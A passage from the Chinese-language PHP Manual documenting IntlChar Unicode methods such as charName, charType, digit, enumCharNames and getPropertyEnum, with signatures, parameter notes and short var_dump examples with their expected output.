Maps the specified character to a "mirror-image" character.

For characters with the Bidi_Mirrored property, implementations sometimes need a "poor man's" mapping to another Unicode character (code point) such that the default glyph may serve as the mirror-image of the default glyph of the specified character. This is useful for text conversion to and from codepages with visual order, and for displays without glyph selection capabilities.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns another Unicode code point that may serve as a mirror-image substitute, or codepoint itself if there is no such mapping or codepoint does not have the Bidi_Mirrored property.

返回类型是 int，如果代码点作为 UTF-8 string 传递，则会返回 string 。失败时返回 null。

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::charMirror("A"));
var_dump(IntlChar::charMirror("<"));
var_dump(IntlChar::charMirror("("));
?>

以上示例会输出：

string(1) "A"
string(1) ">"
string(2) ")"

参见

  • IntlChar::isMirrored() - Check if code point has the Bidi_Mirrored property
  • IntlChar::PROPERTY_BIDI_MIRRORED

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the name of a Unicode character

  • ? IntlChar::charMirror
  • IntlChar::charType ?
  • PHP Manual
  • IntlChar
  • Retrieve the name of a Unicode character

IntlChar::charName

(PHP 7, PHP 8)

IntlChar::charName — Retrieve the name of a Unicode character

说明

public static IntlChar::charName(int|string $codepoint, int $type = IntlChar::UNICODE_CHAR_NAME): ?string

Retrieves the name of a Unicode character.

Depending on type, the resulting character name is the "modern" name or the name that was defined in Unicode version 1.0. The name contains only "invariant" characters like A-Z, 0-9, space, and '-'. Unicode 1.0 names are only retrieved if they are different from the modern names and if ICU contains the data for them.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

type

Which set of names to use for the lookup. Can be any of these constants:

  • IntlChar::UNICODE_CHAR_NAME (default)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

返回值

The corresponding name, or an empty string if there is no name for this character, or null if there is no such code point.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::charName("."));
var_dump(IntlChar::charName(".", IntlChar::UNICODE_CHAR_NAME));
var_dump(IntlChar::charName("\u{2603}"));
var_dump(IntlChar::charName("\u{0000}"));
?>

以上示例会输出：

string(9) "FULL STOP"
string(9) "FULL STOP"
string(7) "SNOWMAN"
string(0) ""

参见

  • IntlChar::charFromName() - Find Unicode character by name and return its code point value
  • IntlChar::enumCharNames() - Enumerate all assigned Unicode characters within a range

User Contributed Notes

There are no user contributed notes for this page.


Get the general category value for a code point

  • ? IntlChar::charName
  • IntlChar::chr ?
  • PHP Manual
  • IntlChar
  • Get the general category value for a code point

IntlChar::charType

(PHP 7, PHP 8)

IntlChar::charType — Get the general category value for a code point

说明

public static IntlChar::charType(int|string $codepoint): ?int

Returns the general category value for the code point.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the general category type, which may be one of the following constants:

  • IntlChar::CHAR_CATEGORY_UNASSIGNED
  • IntlChar::CHAR_CATEGORY_GENERAL_OTHER_TYPES
  • IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER
  • IntlChar::CHAR_CATEGORY_LOWERCASE_LETTER
  • IntlChar::CHAR_CATEGORY_TITLECASE_LETTER
  • IntlChar::CHAR_CATEGORY_MODIFIER_LETTER
  • IntlChar::CHAR_CATEGORY_OTHER_LETTER
  • IntlChar::CHAR_CATEGORY_NON_SPACING_MARK
  • IntlChar::CHAR_CATEGORY_ENCLOSING_MARK
  • IntlChar::CHAR_CATEGORY_COMBINING_SPACING_MARK
  • IntlChar::CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER
  • IntlChar::CHAR_CATEGORY_LETTER_NUMBER
  • IntlChar::CHAR_CATEGORY_OTHER_NUMBER
  • IntlChar::CHAR_CATEGORY_SPACE_SEPARATOR
  • IntlChar::CHAR_CATEGORY_LINE_SEPARATOR
  • IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR
  • IntlChar::CHAR_CATEGORY_CONTROL_CHAR
  • IntlChar::CHAR_CATEGORY_FORMAT_CHAR
  • IntlChar::CHAR_CATEGORY_PRIVATE_USE_CHAR
  • IntlChar::CHAR_CATEGORY_SURROGATE
  • IntlChar::CHAR_CATEGORY_DASH_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_START_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_END_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_CONNECTOR_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_MATH_SYMBOL
  • IntlChar::CHAR_CATEGORY_CURRENCY_SYMBOL
  • IntlChar::CHAR_CATEGORY_MODIFIER_SYMBOL
  • IntlChar::CHAR_CATEGORY_OTHER_SYMBOL
  • IntlChar::CHAR_CATEGORY_INITIAL_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_FINAL_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_CHAR_CATEGORY_COUNT

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::charType("A") === IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER);
var_dump(IntlChar::charType(".") === IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION);
var_dump(IntlChar::charType("\t") === IntlChar::CHAR_CATEGORY_CONTROL_CHAR);
var_dump(IntlChar::charType("\u{2603}") === IntlChar::CHAR_CATEGORY_OTHER_SYMBOL);
var_dump(IntlChar::charType("multiple chars") === null);
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Return Unicode character by code point value

  • ? IntlChar::charType
  • IntlChar::digit ?
  • PHP Manual
  • IntlChar
  • Return Unicode character by code point value

IntlChar::chr

(PHP 7, PHP 8)

IntlChar::chr — Return Unicode character by code point value

说明

public static IntlChar::chr(int|string $codepoint): ?string

Returns a string containing the character specified by the Unicode code point value.

This function complements IntlChar::ord().

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

A string containing the single character specified by the Unicode code point value, or null on failure.

示例

Example #1 Testing different code points

<?php
$values = ["A", 63, 123, 9731];
foreach ($values as $value) {
var_dump(IntlChar::chr($value));
}
?>

以上示例会输出：

string(1) "A"
string(1) "?"
string(1) "{"
string(3) "?"

参见

  • IntlChar::ord() - Return Unicode code point value of character
  • mb_chr() - 按 Unicode 码位值返回字符
  • chr() - 从数字生成单字节字符串

User Contributed Notes

There are no user contributed notes for this page.


Get the decimal digit value of a code point for a given radix

  • ? IntlChar::chr
  • IntlChar::enumCharNames ?
  • PHP Manual
  • IntlChar
  • Get the decimal digit value of a code point for a given radix

IntlChar::digit

(PHP 7, PHP 8)

IntlChar::digit — Get the decimal digit value of a code point for a given radix

说明

public static IntlChar::digit(int|string $codepoint, int $base = 10): int|false|null

Returns the decimal digit value of the code point in the specified radix.

If the radix is not in the range 2<=radix<=36 or if the value of codepoint is not a valid digit in the specified radix, false is returned. A character is a valid digit if at least one of the following is true:

  • The character has a decimal digit value. Such characters have the general category "Nd" (decimal digit numbers) and a Numeric_Type of Decimal. In this case the value is the character's decimal digit value.
  • The character is one of the uppercase Latin letters 'A' through 'Z'. In this case the value is c-'A'+10.
  • The character is one of the lowercase Latin letters 'a' through 'z'. In this case the value is ch-'a'+10.
  • Latin letters from both the ASCII range (0061..007A, 0041..005A) as well as from the Fullwidth ASCII range (FF41..FF5A, FF21..FF3A) are recognized.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

base

The radix (defaults to 10).

返回值

Returns the numeric value represented by the character in the specified radix, or false if there is no value or if the value exceeds the radix. Returns null on failure.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::digit("0"));
var_dump(IntlChar::digit("3"));
var_dump(IntlChar::digit("A"));
var_dump(IntlChar::digit("A", 16));
?>

以上示例会输出：

int(0)
int(3)
bool(false)
int(10)

参见

  • IntlChar::forDigit() - Get character representation for a given digit and radix
  • IntlChar::charDigitValue() - Get the decimal digit value of a decimal digit character
  • IntlChar::isdigit() - Check if code point is a digit character
  • IntlChar::PROPERTY_NUMERIC_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Enumerate all assigned Unicode characters within a range

  • ? IntlChar::digit
  • IntlChar::enumCharTypes ?
  • PHP Manual
  • IntlChar
  • Enumerate all assigned Unicode characters within a range

IntlChar::enumCharNames

(PHP 7, PHP 8)

IntlChar::enumCharNames — Enumerate all assigned Unicode characters within a range

说明

public static IntlChar::enumCharNames(
int|string $start,
int|string $end,
callable $callback,
int $type = IntlChar::UNICODE_CHAR_NAME
): ?bool

Enumerate all assigned Unicode characters between the start and limit code points (start inclusive, limit exclusive) and call a function for each, passing the code point value and the character name.

For Unicode 1.0 names, only those are enumerated that differ from the modern names.

参数

start

The first code point in the enumeration range.

end

One more than the last code point in the enumeration range (the first one after the range).

callback

The function that is to be called for each character name. The following three arguments will be passed into it:

  • int $codepoint - The numeric code point value
  • int $nameChoice - The same value as the type parameter below
  • string $name - The name of the character

type

Selector for which kind of names to enumerate. Can be any of these constants:

  • IntlChar::UNICODE_CHAR_NAME (default)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

返回值

成功时返回 null， 或者在失败时返回 false。

示例

Example #1 Enumerating over a sample range of code points

<?php
IntlChar::enumCharNames(0x2600, 0x2610, function($codepoint, $nameChoice, $name) {
printf("U+%04x %s\n", $codepoint, $name);
});
?>

以上示例会输出：

U+2600 BLACK SUN WITH RAYS
U+2601 CLOUD
U+2602 UMBRELLA
U+2603 SNOWMAN
U+2604 COMET
U+2605 BLACK STAR
U+2606 WHITE STAR
U+2607 LIGHTNING
U+2608 THUNDERSTORM
U+2609 SUN
U+260a ASCENDING NODE
U+260b DESCENDING NODE
U+260c CONJUNCTION
U+260d OPPOSITION
U+260e BLACK TELEPHONE
U+260f WHITE TELEPHONE

参见

  • IntlChar::charName() - Retrieve the name of a Unicode character
  • IntlChar::charFromName() - Find Unicode character by name and return its code point value

User Contributed Notes

There are no user contributed notes for this page.


Enumerate all code points with their Unicode general categories

  • ? IntlChar::enumCharNames
  • IntlChar::foldCase ?
  • PHP Manual
  • IntlChar
  • Enumerate all code points with their Unicode general categories

IntlChar::enumCharTypes

(PHP 7, PHP 8)

IntlChar::enumCharTypes — Enumerate all code points with their Unicode general categories

说明

public static IntlChar::enumCharTypes(callable $callback): void

Enumerates efficiently all code points with their Unicode general categories. This is useful for building data structures, for enumerating all assigned code points, etc.

For each contiguous range of code points with a given general category ("character type"), the callback function is called. Adjacent ranges have different types. The Unicode Standard guarantees that the numeric value of the type is 0..31.

参数

callback

The function that is to be called for each contiguous range of code points with the same general category. The following three arguments will be passed into it:

  • int $start - The starting code point of the range
  • int $end - The ending code point of the range
  • int $name - The category type (one of the IntlChar::CHAR_CATEGORY_* constants)

返回值

没有返回值。

示例

Example #1 Enumerating over a sample range of code points

<?php
IntlChar::enumCharTypes(function($start, $end, $type) {
printf("U+%04x through U+%04x are in category %d\n", $start, $end, $type);
});
?>

以上示例会输出：

U+0000 through U+0020 are in category 15
U+0020 through U+0021 are in category 12
U+0021 through U+0024 are in category 23
U+0024 through U+0025 are in category 25
U+0025 through U+0028 are in category 23
U+0028 through U+0029 are in category 20
U+0029 through U+002a are in category 21
U+002a through U+002b are in category 23
U+002b through U+002c are in category 24
U+002c through U+002d are in category 23
U+002d through U+002e are in category 19
U+002e through U+0030 are in category 23
U+0030 through U+003a are in category 9
...

User Contributed Notes

There are no user contributed notes for this page.


Perform case folding on a code point

  • ? IntlChar::enumCharTypes
  • IntlChar::forDigit ?
  • PHP Manual
  • IntlChar
  • Perform case folding on a code point

IntlChar::foldCase

(PHP 7, PHP 8)

IntlChar::foldCase — Perform case folding on a code point

说明

public static IntlChar::foldCase(int|string $codepoint, int $options = IntlChar::FOLD_CASE_DEFAULT): int|string|null

The given character is mapped to its case folding equivalent; if the character has no case folding equivalent, the character itself is returned.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

options

Either IntlChar::FOLD_CASE_DEFAULT (default) or IntlChar::FOLD_CASE_EXCLUDE_SPECIAL_I.

返回值

Returns the Simple_Case_Folding of the code point, if any; otherwise the code point itself on success, or null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get character representation for a given digit and radix

  • ? IntlChar::foldCase
  • IntlChar::getBidiPairedBracket ?
  • PHP Manual
  • IntlChar
  • Get character representation for a given digit and radix

IntlChar::forDigit

(PHP 7, PHP 8)

IntlChar::forDigit — Get character representation for a given digit and radix

说明

public static IntlChar::forDigit(int $digit, int $base = 10): int

Determines the character representation for a specific digit in the specified radix.

If the value of radix is not a valid radix, or the value of digit is not a valid digit in the specified radix, the null character (U+0000) is returned.

The radix argument is valid if it is greater than or equal to 2 and less than or equal to 36. The digit argument is valid if 0 <= digit < radix.

If the digit is less than 10, then '0' + digit is returned. Otherwise, the value 'a' + digit - 10 is returned.

参数

digit

The number to convert to a character.

base

The radix (defaults to 10).

返回值

The character representation (as a string) of the specified digit in the specified radix.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::forDigit(0));
var_dump(IntlChar::forDigit(3));
var_dump(IntlChar::forDigit(3, 10));
var_dump(IntlChar::forDigit(10));
var_dump(IntlChar::forDigit(10, 16));
?>

以上示例会输出：

int(48)
int(51)
int(51)
int(0)
int(97)

参见

  • IntlChar::digit() - Get the decimal digit value of a code point for a given radix
  • IntlChar::charDigitValue() - Get the decimal digit value of a decimal digit character
  • IntlChar::isdigit() - Check if code point is a digit character
  • IntlChar::PROPERTY_NUMERIC_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Get the paired bracket character for a code point

  • ? IntlChar::forDigit
  • IntlChar::getBlockCode ?
  • PHP Manual
  • IntlChar
  • Get the paired bracket character for a code point

IntlChar::getBidiPairedBracket

(PHP 7, PHP 8)

IntlChar::getBidiPairedBracket — Get the paired bracket character for a code point

说明

public static IntlChar::getBidiPairedBracket(int|string $codepoint): int|string|null

Maps the specified character to its paired bracket character.

For Bidi_Paired_Bracket_Type!=None, this is the same as IntlChar::charMirror(). Otherwise codepoint itself is returned.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the paired bracket code point, or codepoint itself if there is no such mapping. Returns null on failure.

返回类型是 int，如果代码点作为 UTF-8 string 传递，则会返回 string 。失败时返回 null。

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::getBidiPairedBracket(91));
var_dump(IntlChar::getBidiPairedBracket('['));
?>

以上示例会输出：

int(93)
string(1) "]"

参见

  • IntlChar::charMirror() - Get the "mirror-image" character for a code point
  • IntlChar::PROPERTY_BIDI_PAIRED_BRACKET
  • IntlChar::PROPERTY_BIDI_PAIRED_BRACKET_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Get the Unicode allocation block containing a code point

  • ? IntlChar::getBidiPairedBracket
  • IntlChar::getCombiningClass ?
  • PHP Manual
  • IntlChar
  • Get the Unicode allocation block containing a code point

IntlChar::getBlockCode

(PHP 7, PHP 8)

IntlChar::getBlockCode — Get the Unicode allocation block containing a code point

说明

public static IntlChar::getBlockCode(int|string $codepoint): ?int

Returns the Unicode allocation block that contains the character.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the block value for codepoint. See the IntlChar::BLOCK_CODE_* constants for possible return values. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::getBlockCode("A") === IntlChar::BLOCK_CODE_BASIC_LATIN);
var_dump(IntlChar::getBlockCode("Φ") === IntlChar::BLOCK_CODE_GREEK);
var_dump(IntlChar::getBlockCode("\u{2603}") === IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS);
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Get the combining class of a code point

  • ? IntlChar::getBlockCode
  • IntlChar::getFC_NFKC_Closure ?
  • PHP Manual
  • IntlChar
  • Get the combining class of a code point

IntlChar::getCombiningClass

(PHP 7, PHP 8)

IntlChar::getCombiningClass — Get the combining class of a code point

说明

public static IntlChar::getCombiningClass(int|string $codepoint): ?int

Returns the combining class of the code point.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the combining class of the character. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::getCombiningClass("A"));
var_dump(IntlChar::getCombiningClass("\u{0334}"));
var_dump(IntlChar::getCombiningClass("\u{0358}"));
?>

以上示例会输出：

int(0)
int(1)
int(232)

User Contributed Notes

There are no user contributed notes for this page.


Get the FC_NFKC_Closure property for a code point

  • ? IntlChar::getCombiningClass
  • IntlChar::getIntPropertyMaxValue ?
  • PHP Manual
  • IntlChar
  • Get the FC_NFKC_Closure property for a code point

IntlChar::getFC_NFKC_Closure

(PHP 7, PHP 8)

IntlChar::getFC_NFKC_Closure — Get the FC_NFKC_Closure property for a code point

说明

public static IntlChar::getFC_NFKC_Closure(int|string $codepoint): string|false|null

Gets the FC_NFKC_Closure property string for a character.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns the FC_NFKC_Closure property string for the codepoint, or an empty string if there is none. Returns null or false on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::getFC_NFKC_Closure("\u{2121}"));
var_dump(IntlChar::getFC_NFKC_Closure("\u{1D2D}"));
?>

以上示例会输出：

string(3) "tel"
string(2) "?"

User Contributed Notes

There are no user contributed notes for this page.


Get the max value for a Unicode property

  • ? IntlChar::getFC_NFKC_Closure
  • IntlChar::getIntPropertyMinValue ?
  • PHP Manual
  • IntlChar
  • Get the max value for a Unicode property

IntlChar::getIntPropertyMaxValue

(PHP 7, PHP 8)

IntlChar::getIntPropertyMaxValue — Get the max value for a Unicode property

说明

public static IntlChar::getIntPropertyMaxValue(int $property): int

Gets the maximum value for an enumerated/integer/binary Unicode property.

参数

property

The Unicode property to lookup (see the IntlChar::PROPERTY_* constants).

返回值

The maximum value returned by IntlChar::getIntPropertyValue() for a Unicode property. <=0 if the property selector is out of range.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_SCRIPT));
var_dump(IntlChar::getIntPropertyMaxValue(IntlChar::PROPERTY_IDEOGRAPHIC));
var_dump(IntlChar::getIntPropertyMaxValue(999999999)); // Some made-up value
?>

以上示例会输出：

int(22)
int(166)
int(1)
int(-1)

参见

  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::getIntPropertyMinValue() - Get the min value for a Unicode property
  • IntlChar::getIntPropertyValue() - Get the value for a Unicode property for a code point
  • IntlChar::getUnicodeVersion() - Get the Unicode version

User Contributed Notes

There are no user contributed notes for this page.


Get the min value for a Unicode property

  • ? IntlChar::getIntPropertyMaxValue
  • IntlChar::getIntPropertyValue ?
  • PHP Manual
  • IntlChar
  • Get the min value for a Unicode property

IntlChar::getIntPropertyMinValue

(PHP 7, PHP 8)

IntlChar::getIntPropertyMinValue — Get the min value for a Unicode property

说明

public static IntlChar::getIntPropertyMinValue(int $property): int

Gets the minimum value for an enumerated/integer/binary Unicode property.

参数

property

The Unicode property to lookup (see the IntlChar::PROPERTY_* constants).

返回值

The minimum value returned by IntlChar::getIntPropertyValue() for a Unicode property. 0 if the property selector is out of range.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_SCRIPT));
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_IDEOGRAPHIC));
var_dump(IntlChar::getIntPropertyMinValue(999999999)); // Some made-up value
?>

以上示例会输出：

int(0)
int(0)
int(0)
int(0)

参见

  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::getIntPropertyMaxValue() - Get the max value for a Unicode property
  • IntlChar::getIntPropertyValue() - Get the value for a Unicode property for a code point
  • IntlChar::getUnicodeVersion() - Get the Unicode version

User Contributed Notes

There are no user contributed notes for this page.


Get the value for a Unicode property for a code point

  • ? IntlChar::getIntPropertyMinValue
  • IntlChar::getNumericValue ?
  • PHP Manual
  • IntlChar
  • Get the value for a Unicode property for a code point

IntlChar::getIntPropertyValue

(PHP 7, PHP 8)

IntlChar::getIntPropertyValue — Get the value for a Unicode property for a code point

说明

public static IntlChar::getIntPropertyValue(int|string $codepoint, int $property): ?int

Gets the property value for an enumerated or integer Unicode property for a code point. Also returns binary and mask property values.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

property

The Unicode property to lookup (see the IntlChar::PROPERTY_* constants).

返回值

Returns the numeric value that is directly the property value or, for enumerated properties, corresponds to the numeric value of the enumerated constant of the respective property value enumeration type. Returns null on failure.

Returns 0 or 1 (for false/true) for binary Unicode properties.

Returns a bit-mask for mask properties.

Returns 0 if property is out of bounds or if the Unicode version does not have data for the property at all, or not for this code point.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::getIntPropertyValue("A", IntlChar::PROPERTY_ALPHABETIC) === 1);
var_dump(IntlChar::getIntPropertyValue("[", IntlChar::PROPERTY_BIDI_MIRRORED) === 1);
var_dump(IntlChar::getIntPropertyValue("Φ", IntlChar::PROPERTY_BLOCK) === IntlChar::BLOCK_CODE_GREEK);
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)

参见

  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::getIntPropertyMinValue() - Get the min value for a Unicode property
  • IntlChar::getIntPropertyMaxValue() - Get the max value for a Unicode property
  • IntlChar::getUnicodeVersion() - Get the Unicode version

User Contributed Notes

There are no user contributed notes for this page.


Get the numeric value for a Unicode code point

  • ? IntlChar::getIntPropertyValue
  • IntlChar::getPropertyEnum ?
  • PHP Manual
  • IntlChar
  • Get the numeric value for a Unicode code point

IntlChar::getNumericValue

(PHP 7, PHP 8)

IntlChar::getNumericValue — Get the numeric value for a Unicode code point

说明

public static IntlChar::getNumericValue(int|string $codepoint): ?float

Gets the numeric value for a Unicode code point as defined in the Unicode Character Database.

For characters without any numeric values in the Unicode Character Database, this function will return IntlChar::NO_NUMERIC_VALUE.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Numeric value of codepoint, or IntlChar::NO_NUMERIC_VALUE if none is defined. This constant was added in PHP 7.0.6, prior to this version the literal value (float)-123456789 may be used instead. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::getNumericValue("4"));
var_dump(IntlChar::getNumericValue("x"));
var_dump(IntlChar::getNumericValue("\u{216C}"));
?>

以上示例会输出：

float(4)
float(-123456789)
float(50)

User Contributed Notes

There are no user contributed notes for this page.


Get the property constant value for a given property name

  • ? IntlChar::getNumericValue
  • IntlChar::getPropertyName ?
  • PHP Manual
  • IntlChar
  • Get the property constant value for a given property name

IntlChar::getPropertyEnum

(PHP 7, PHP 8)

IntlChar::getPropertyEnum — Get the property constant value for a given property name

说明

public static IntlChar::getPropertyEnum(string $alias): int

Returns the property constant value for a given property name, as specified in the Unicode database file PropertyAliases.txt. Short, long, and any other variants are recognized.

In addition, this function maps the synthetic names "gcm" / "General_Category_Mask" to the property IntlChar::PROPERTY_GENERAL_CATEGORY_MASK. These names are not in PropertyAliases.txt.

This function complements IntlChar::getPropertyName().

参数

alias

The property name to be matched. The name is compared using "loose matching" as described in PropertyAliases.txt.

返回值

Returns an IntlChar::PROPERTY_ constant value, or IntlChar::PROPERTY_INVALID_CODE if the given name does not match any property.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::getPropertyEnum('Bidi_Class') === IntlChar::PROPERTY_BIDI_CLASS);
var_dump(IntlChar::getPropertyEnum('script') === IntlChar::PROPERTY_SCRIPT);
var_dump(IntlChar::getPropertyEnum('IDEOGRAPHIC') === IntlChar::PROPERTY_IDEOGRAPHIC);
var_dump(IntlChar::getPropertyEnum('Some made-up string') === IntlChar::PROPERTY_INVALID_CODE);
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)
bool(true)

参见

  • IntlChar::getPropertyName() - Get the Unicode name for a property

User Contributed Notes

There are no user contributed notes for this page.


Get the Unicode name for a property

  • ? IntlChar::getPropertyEnum
  • IntlChar::getPropertyValueEnum ?
  • PHP Manual
  • IntlChar
  • Get the Unicode name for a property

IntlChar::getPropertyName

(PHP 7, PHP 8)

IntlChar::getPropertyName — Get the Unicode name for a property

说明

public static IntlChar::getPropertyName(int $property, int $type = IntlChar::LONG_PROPERTY_NAME): string|false

Returns the Unicode name for a given property, as given in the Unicode database file PropertyAliases.txt.

In addition, this function maps the property IntlChar::PROPERTY_GENERAL_CATEGORY_MASK to the synthetic names "gcm" / "General_Category_Mask". These names are not in PropertyAliases.txt.

This function complements IntlChar::getPropertyEnum().

参数

property

The Unicode property to lookup (see the IntlChar::PROPERTY_* constants).

IntlChar::PROPERTY_INVALID_CODE should not be used. Also, if property is out of range, false is returned.

type

Selector for which name to get. If out of range, false is returned.

All properties have a long name. Most have a short name, but some do not. Unicode allows for additional names; if present these will be returned by adding 1, 2, etc. to IntlChar::LONG_PROPERTY_NAME.

返回值

Returns the name, or false if either the property or the type is out of range.

If a given type returns false, then all larger values of type will return false, with one exception: if false is returned for IntlChar::SHORT_PROPERTY_NAME, then IntlChar::LONG_PROPERTY_NAME (and higher) may still return a non-false value.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::SHORT_PROPERTY_NAME));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::LONG_PROPERTY_NAME));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::LONG_PROPERTY_NAME + 1));
?>

以上示例会输出：

string(10) "Bidi_Class"
string(2) "bc"
string(10) "Bidi_Class"
bool(false)

参见

  • IntlChar::getPropertyEnum() - Get the property constant value for a given property name

User Contributed Notes

There are no user contributed notes for this page.


Get the property value for a given value name

  • ? IntlChar::getPropertyName
  • IntlChar::getPropertyValueName ?
  • PHP Manual
  • IntlChar
  • Get the property value for a given value name

IntlChar::getPropertyValueEnum

(PHP 7, PHP 8)

IntlChar::getPropertyValueEnum — Get the property value for a given value name

说明

public static IntlChar::getPropertyValueEnum(int $property, string $name): int

Returns the property value integer for a given value name, as specified in the Unicode database file PropertyValueAliases.txt. Short, long, and any other variants are recognized.

Note:

Some of the names in PropertyValueAliases.txt will only be recognized with IntlChar::PROPERTY_GENERAL_CATEGORY_MASK, not IntlChar::PROPERTY_GENERAL_CATEGORY. These include:

  • "C" / "Other"
  • "L" / "Letter"
  • "LC" / "Cased_Letter"
  • "M" / "Mark"
  • "N" / "Number"
  • "P" / "Punctuation"
  • "S" / "Symbol"
  • "Z" / "Separator"

参数

property

The Unicode property to lookup (see the IntlChar::PROPERTY_* constants).

If out of range, or this method doesn't work with the given value, IntlChar::PROPERTY_INVALID_CODE is returned.

name

The value name to be matched. The name is compared using "loose matching" as described in PropertyValueAliases.txt.

返回值

Returns the corresponding value integer, or IntlChar::PROPERTY_INVALID_CODE if the given name does not match any value of the given property, or if the property is invalid.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BLOCK, 'greek') === IntlChar::BLOCK_CODE_GREEK);
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BIDI_CLASS, 'RIGHT_TO_LEFT') === IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT);
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BIDI_CLASS, 'some made-up string') === IntlChar::PROPERTY_INVALID_CODE);
var_dump(IntlChar::getPropertyValueEnum(123456789, 'RIGHT_TO_LEFT') === IntlChar::PROPERTY_INVALID_CODE);
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Get the Unicode name for a property value

  • ? IntlChar::getPropertyValueEnum
  • IntlChar::getUnicodeVersion ?
  • PHP Manual
  • IntlChar
  • Get the Unicode name for a property value

IntlChar::getPropertyValueName

(PHP 7, PHP 8)

IntlChar::getPropertyValueName — Get the Unicode name for a property value

说明

public static IntlChar::getPropertyValueName(int $property, int $value, int $type = IntlChar::LONG_PROPERTY_NAME): string|false

